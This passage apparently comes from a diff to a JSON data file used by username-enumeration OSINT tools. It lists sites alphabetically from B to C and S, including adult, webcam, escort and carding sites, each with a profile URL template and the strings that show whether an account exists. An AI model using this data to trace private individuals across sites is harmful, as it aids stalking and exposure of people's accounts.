"https://bridgewinners.com/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Error!" + }, + { + "name": "Britishcat", + "url": "http://www.britishcat.ru/forumnew/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Browncafe", + "url": "https://www.browncafe.com/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "browncafe.com", + "url": "http://www.browncafe.com/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Brusheezy", + "url": "https://www.brusheezy.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "masthead", + "match_string": "username" + }, + { + "name": "Brute", + "url": "https://brute.su/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "brute.pw", + "url": "https://brute.pw/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "budo52.ru", + "url": "http://budo52.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Budo_community", + "url": "https://budo.community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=posts&search_app_filters[forums][sortDir]=0", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "Bugaga", + "url": "https://bugaga.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bugbank", + "url": "https://www.bugbank.cn/api/user/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "bugbounty", + "url": "https://bugbounty.gg/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bugcrowd", + "url": "https://bugcrowd.com/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">Bugcrowd | Error", + "match_string": "s researcher profile on Bugcrowd" + }, + { + "name": "BugCrowd", + "url": "https://bugcrowd.com/{}/profile_widgets", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "class='cc-error-page__msg'", + "match_code": 200, + "match_string": "\"widgets\":" + }, + { + "name": "bugku", + "url": "https://www.bugku.com/space-username-{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Build_opensuse", + "url": "https://build.opensuse.org/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bukkit", + "url": "https://bukkit.org//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bukkit", + "url": "https://bukkit.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Bulbanews", + "url": "https://bulbanews.bulbagarden.net/wiki/User:{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "bulbapedia.bulbagarden.net", + "url": "https://bulbapedia.bulbagarden.net/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bulbapp.com", + "url": "https://bulbapp.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bull-baza.at.ua", + "url": "http://bull-baza.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bunpro", + "url": "https://community.bunpro.jp/u/{}.json", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The requested URL or resource could not be found.", + "match_code": 200, + "match_string": "username" + }, + { + "name": "buyforex.ucoz.ru", + "url": "http://buyforex.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BuyMeACoffee", + "url": "https://buymeacoff.ee/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Buymeacoffee", + "url": "https://www.buymeacoffee.com/{}", + "category": "finance", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Buymeacoffee", + "url": "https://buymeacoffee.com/{}", + "category": "finance", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "seem to find the page", + "match_string": "creator-csrf" + }, + { + "name": "BuzzFeed", + "url": "https://buzzfeed.com/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BuzzFeed", + "url": "https://www.buzzfeed.com/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "We can't find the page you're looking for", + "match_code": 200, + "match_string": " on BuzzFeedAuthor: - Buzznet" + }, + { + "name": "Buzznet", + "url": "https://www.buzznet.com/author/{}/", + "category": "news", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you are looking for can't be found.", + "match_code": 200, + "match_string": "Author:" + }, + { + "name": "Bybio", + "url": "https://bybio.co/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "BYBIO" + }, + { + "name": "Bylkov", + "url": "https://www.bylkov.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Byond", + "url": "https://www.byond.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Announcements about BYOND's software and website.", + "match_string": "Shoutbox" + }, + { + "name": "Byxatab", + "url": "https://byxatab.com/user/{}/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Cad", + "url": "https://cad.ru/ru/forum/index.php?PAGE_NAME=profile_view&UID={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0424\u043e\u0440\u0443\u043c" + }, + { + "name": "cadaverzian.ucoz.ru", + "url": "http://cadaverzian.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Caddy Community", + "url": "https://caddy.community/u/{}/summary", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "caddy.community", + "url": "https://caddy.community/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Caduser", + "url": "https://www.caduser.ru/forum/userlist.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "cafecito", + "url": "https://cafecito.app/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Es posible que el enlace que seleccionaste est\u00e9 roto o que se haya eliminado la p\u00e1gina", + "match_code": 200, + "match_string": " | Cafecito" + }, + { + "name": "Caldina-club", + "url": "https://caldina-club.com/search.php?cache=1&keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "calendly.com", + "url": "https://calendly.com/{}/15min", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking for could not be found", + "match_string": "profile" + }, + { + "name": "Calendy", + "url": "https://calendly.com/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sorry, but the page you were looking for could not be found.", + "match_code": 200, + "match_string": "og:author" + }, + { + "name": "Cameo", + "url": "https://www.cameo.com/{}", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "match_code": 200, + "match_string": "aggregateRating" + }, + { + "name": "Cameraprive", + "url": "https://cameraprive.com/br/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "header-profile" + }, + { + "name": "Camlust", + "url": "https://camlust.com/en/models/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "page not found", + "match_string": "in Free Chat Roulette" + }, + { + "name": "Cams Reviews", + "url": "https://www.cams.reviews/?search={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">No Webcam Models Found.", + "match_string": "webcam models that match your search." + }, + { + "name": "CamSextacy", + "url": "https://www.camsextacy.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Error, page not found
", + "match_string": "Cam: Free Live Nude Sex Show & Chat - CamSextacy" + }, + { + "name": "Camsoda", + "url": "https://camsoda.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "My Media" + }, + { + "name": "CamWithHer (users)", + "url": "https://camwithher.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "page not found", + "match_string": "Free Live Nude Sex Show" + }, + { + "name": "Candy Shop Escorts (Manchester, ENG)", + "url": "https://candyshopescorts.co.uk/escorts/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking for doesn't exist or has been moved.", + "match_string": "
Age
" + }, + { + "name": "Canva", + "url": "https://canva.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "CapFriendly", + "url": "https://www.capfriendly.com/users/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "
No results found
" + }, + { + "name": "Capfriendly", + "url": "https://capfriendly.com/users/{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "No results found" + }, + { + "name": "CapitalcityCombats", + "url": "http://capitalcity.combats.com/inf.pl?{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430" + }, + { + "name": "Car Talk Community", + "url": "https://community.cartalk.com/u/{}/summary", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Car72", + "url": "https://www.car72.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + }, + { + "name": "Caravaning", + "url": "http://caravaning.in.ua/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Caravanistan", + "url": "https://caravanistan.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No suitable matches were found." + }, + { + "name": "caravelgames", + "url": "http://forum.caravelgames.com/member.php?Action=viewprofile&username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Guest" + }, + { + "name": "Carbonmade", + "url": "https://{}.carbonmade.com", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Carbonmade", + "url": "https://{}.carbonmade.com/", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "site not found", + "match_code": 200, + "match_string": "s online portfolio" + }, + { + "name": "CardingForum", + "url": "https://cardingforum.co/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Cardingsite", + "url": "https://cardingsite.cc/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Cardmates", + "url": "https://cardmates.net/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "SimplePlanes Airplanes", + "match_code": 200, + "match_string": "
joined" + }, + { + "name": "Sinful Feet", + "url": "https://sinfulfeet.com/models/{}.html", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "SinfulFeet | " + }, + { + "name": "Sitepoint", + "url": "https://sitepoint.com/community/u/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Sitepoint", + "url": "https://sitepoint.com/u/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Skeb.jp", + "url": "https://skeb.jp/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Skeb - Request Box", + "match_string": ") | Skeb" + }, + { + "name": "sketchfab.com", + "url": "https://sketchfab.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SkodaForum", + "url": "http://www.skodaforum.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "skorozamuj.com", + "url": "http://skorozamuj.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skyblock", + "url": "https://skyblock.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Skybrary", + "url": "https://skybrary.aero/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Skynetzone", + "url": "https://skynetzone.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "skynetzone.net", + "url": "https://skynetzone.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skypli", + "url": "https://www.skypli.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nothing found", + "match_string": "profile-box__info" + }, + { + "name": "Skyrimforums", + "url": "https://skyrimforums.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skyrimforums", + "url": "https://skyrimforum.com/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Skyrock", + "url": "https://{}.skyrock.com/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SkyscraperCity", + "url": "https://www.skyscrapercity.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skyscrapercity", + "url": "https://www.skyscrapercity.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Slack", + "url": "https://{}.slack.com", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SlackHoles", + "url": "https://slackholes.com/actor/{}/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "It looks like nothing was found at this location", + "match_code": 200, + "match_string": "Pussy and Ass Sizes" + }, + { + "name": "sladkiydesert.ucoz.ru", + "url": "http://sladkiydesert.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Slamdunk", + "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Slant.co", + "url": "https://www.slant.co/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 - Page Not Found - Slant", + "match_string": "s Profile - Slant" + }, + { + "name": "Slashdot", + "url": "https://slashdot.org/~{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "user you requested does not exist" + }, + { + "name": "Slides", + "url": "https://slides.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SlideShare", + "url": "https://www.slideshare.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "blankProfile", + "match_string": "user-name" + }, + { + "name": "SlideShare", + "url": "https://slideshare.net/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page no longer exists" + }, + { + "name": "Slivap", + "url": "https://slivap.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "slivap.ru", + "url": "https://slivap.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "slivsklad.ru", + "url": "https://slivsklad.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sloboganec.at.ua", + "url": "http://sloboganec.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sluts Around Town", + "url": "https://slutsaroundtown.com/video_tag/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found", + "match_string": "post-title" + }, + { + "name": "Smallcar", + "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u00cf\u00f0\u00ee\u00f4\u00e8\u00eb\u00fc \u00ef\u00ee\u00eb\u00fc\u00e7\u00ee\u00e2\u00e0\u00f2\u00e5\u00eb\u00ff <" + }, + { + "name": "smart-lab.ru", + "url": "https://smart-lab.ru/profile/{}/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404" + }, + { + "name": "smart-phone.ucoz.ua", + "url": "http://smart-phone.ucoz.ua/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "smarton.at.ua", + "url": "http://smarton.at.ua/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "smartplay.ucoz.ru", + "url": "http://smartplay.ucoz.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smashcast", + "url": "https://www.smashcast.tv/api/media/live/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smashrun", + "url": "https://smashrun.com/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "smelsy", + "url": "https://www.smelsy.com/profile/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 500, + "error_string": "Server Error", + "match_code": 200, + "match_string": "Smelsy -" + }, + { + "name": "SmiHub", + "url": "https://smihub.com/v/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "text-lg mb-3", + "match_string": "profile" + }, + { + "name": "Smite", + "url": "https://smite.gamepedia.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Smogon", + "url": "https://www.smogon.com/forums/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "smokingmeatforums.com", + "url": "https://smokingmeatforums.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smolmama", + "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "sms.portalsms.ru", + "url": "http://sms.portalsms.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smugmug", + "url": "https://{}.smugmug.com/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SmugMug", + "url": "https://{}.smugmug.com", + "category": "art", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smule", + "url": "https://www.smule.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Smule | Page Not Found (404)", + "match_string": "Profile: " + }, + { + "name": "smule", + "url": "https://www.smule.com/api/profile/?handle={}", + "category": "music", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "code\": 65", + "match_code": 200, + "match_string": "account_id" + }, + { + "name": "Smule", + "url": "https://smule.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking", + "match_string": "username:" + }, + { + "name": "Snapchat", + "url": "https://www.snapchat.com/add/{}", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snapchat", + "url": "https://www.snapchat.com/@{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "NOT_FOUND", + "match_code": 200, + "match_string": "is on Snapchat!" + }, + { + "name": "Snapchat", + "url": "https://feelinsonice.appspot.com/web/deeplink/snapcode?username={}&size=400&type=SVG", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "http://www.w3.org/1999/xlink", + "match_code": 200, + "match_string": "</clipPath>" + }, + { + "name": "Snapchat", + "url": "https://snapchat.com/add/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "NoContent_title", + "match_string": "Header_displayNameText" + }, + { + "name": "Snapchat Stories", + "url": "https://story.snapchat.com/s/{}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Not_Found", + "match_code": 200, + "match_string": "is on Snapchat!" + }, + { + "name": "Snbforums", + "url": "https://www.snbforums.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "snegovaya-pad.ucoz.ru", + "url": "http://snegovaya-pad.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snicket", + "url": "https://snicket.wikia.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "sniperforums.com", + "url": "https://sniperforums.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snipfeed", + "url": "https://snipfeed.co/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oops, you hit a dead end!", + "match_code": 200, + "match_string": "creatorLink" + }, + { + "name": "snipplr.com", + "url": "https://snipplr.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snooth", + "url": "https://www.snooth.com/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page not found", + "match_string": "content=\"https://www.snooth.com/author/" + }, + { + "name": "snowblowerforum.com", + "url": "https://snowblowerforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snowjapan", + "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Found 0 results" + }, + { + "name": "so4ineniya.ucoz.ru", + "url": "http://so4ineniya.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soberu", + "url": "https://yasobe.ru/na/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soborno", + "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "soc-life.com", + "url": "http://soc-life.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "match_string": "sc-tabs\"><div>\u041b\u043e\u0433\u0438\u043d:" + }, + { + "name": "socforum.3dn.ru", + "url": "http://socforum.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sochi_profi", + "url": "https://sochi.profi.ru/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Social", + "url": "https://social.msdn.microsoft.com/profile/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"statistics\"" + }, + { + "name": "social.bund.de", + "url": "https://social.bund.de/@{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>The page you are looking for isn't here.", + "match_code": 200, + "match_string": "@social.bund.de) - social.bund.de" + }, + { + "name": "social.msdn.microsoft.com", + "url": "https://social.msdn.microsoft.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "social.tchncs.de", + "url": "https://social.tchncs.de/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Social_microsoft", + "url": "https://social.microsoft.com/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The resource you are looking for has been removed" + }, + { + "name": "Socialblade", + "url": "https://socialblade.com/youtube/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "SocialLibremOne", + "url": "https://social.librem.one/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Society Service Escorts (Holland & Belgium)", + "url": "https://www.societyservice.com/escort/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "find your perfect", + "match_string": "profile" + }, + { + "name": "Society Service Gigolos (Holland & Belgium)", + "url": "https://www.societyservice.com/gigolo/{}", + "category": "news", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "find your perfect", + "match_string": "profile" + }, + { + "name": "society6.com", + "url": "https://society6.com/{}/all", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Socioforum", + "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + 